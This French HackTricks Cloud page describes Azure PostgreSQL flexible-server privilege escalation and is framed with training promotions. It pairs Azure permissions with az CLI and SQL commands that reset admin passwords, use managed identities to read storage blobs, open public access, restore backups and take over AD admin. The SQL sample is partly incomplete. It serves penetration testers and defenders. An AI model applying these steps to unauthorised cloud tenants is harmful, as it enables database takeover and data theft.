Az - PostgreSQL Privesc
Reading time: 4 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
PostgreSQL Privesc
Pour plus d'informations sur SQL Database, consultez :
Microsoft.DBforPostgreSQL/flexibleServers/read
&& Microsoft.DBforPostgreSQL/flexibleServers/write
Avec cette permission, vous pouvez créer, mettre à jour ou supprimer des instances de serveurs flexibles PostgreSQL sur Azure. Cela inclut la provision de nouveaux serveurs, la modification des configurations de serveurs existants ou la mise hors service de serveurs.
az postgres flexible-server create \
--name <ServerName> \
--resource-group <ResourceGroupName> \
--location <Location> \
--admin-user <AdminUsername> \
--admin-password <AdminPassword> \
--sku-name <SkuName> \
--storage-size <StorageSizeInGB> \
--tier <PricingTier> \
--version <PostgreSQLVersion>
Par exemple, ces autorisations permettent de changer le mot de passe PostgreSQL, utile bien sûr dans le cas où l'authentification PostgreSQL est activée.
az postgres flexible-server update \
--resource-group <resource_group_name> \
--name <server_name> \
--admin-password <password_to_update>
De plus, avec les autorisations, vous pouvez activer l'identité assignée, et opérer avec l'identité gérée attachée au serveur. Ici, vous pouvez trouver toutes les extensions que le serveur flexible Azure PostgreSQL prend en charge https://learn.microsoft.com/en-us/azure/cosmos-db/postgresql/reference-extensions. Pour pouvoir utiliser ces extensions, certains paramètres du serveur (azure.extensions) doivent être modifiés. Par exemple, ici avec une identité gérée qui peut accéder à Azure Storage :
Tout d'abord, nous changeons les paramètres et nous assurons que l'identité assignée est activée :
az postgres flexible-server parameter set \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--name azure.extensions \
--value "AZURE_STORAGE"
az postgres flexible-server identity update \
--resource-group <YourResourceGroupName> \
--server-name <YourServerName> \
--system-assigned Enabled
CREATE EXTENSION IF NOT EXISTS azure_storage;
CREATE EXTERNAL DATA SOURCE ManagedIdentity
SELECT azure_storage.account_add('<storage-account>', '<storage-key>');
SELECT *
FROM azure_storage.blob_get(
'<storage-account>',
'<container>',
'message.txt',
decoder := 'text'
) AS t(content text)
LIMIT 1;
De plus, il est nécessaire d'avoir l'accès public activé si vous souhaitez accéder depuis un point de terminaison non privé, pour l'activer :
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.DBforPostgreSQL/flexibleServers/backups/read
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
Avec ces autorisations, vous pouvez restaurer un serveur à partir d'une sauvegarde avec :
az postgres flexible-server restore \
--resource-group <RESOURCE_GROUP> \
--name <NEW_SERVER_NAME> \
--source-server <SOURCE_SERVER_NAME> \
--restore-time "<ISO8601_TIMESTAMP>" \
--yes
Microsoft.DBforPostgreSQL/flexibleServers/read
, Microsoft.DBforPostgreSQL/flexibleServers/write
, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action
, Microsoft.DBforPostgreSQL/flexibleServers/administrators/write
&& Microsoft.DBforPostgreSQL/flexibleServers/administrators/read
Avec cette permission, vous pouvez configurer des administrateurs Azure Active Directory (AD) pour un serveur flexible PostgreSQL. Cela peut être exploité en se définissant soi-même ou un autre compte comme administrateur AD, accordant un contrôle administratif total sur le serveur PostgreSQL. La mise à jour d'un principal existant n'est pas encore prise en charge, donc s'il y en a un créé, vous devez d'abord le supprimer.
Il est important que le serveur flexible ait des identités gérées assignées à utiliser.
az postgres flexible-server ad-admin create \
--resource-group <ResourceGroupName> \
--server-name <ServerName> \
--display-name <ADAdminDisplayName> \
--identity <IdentityNameOrID> \
--object-id <ObjectID>
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.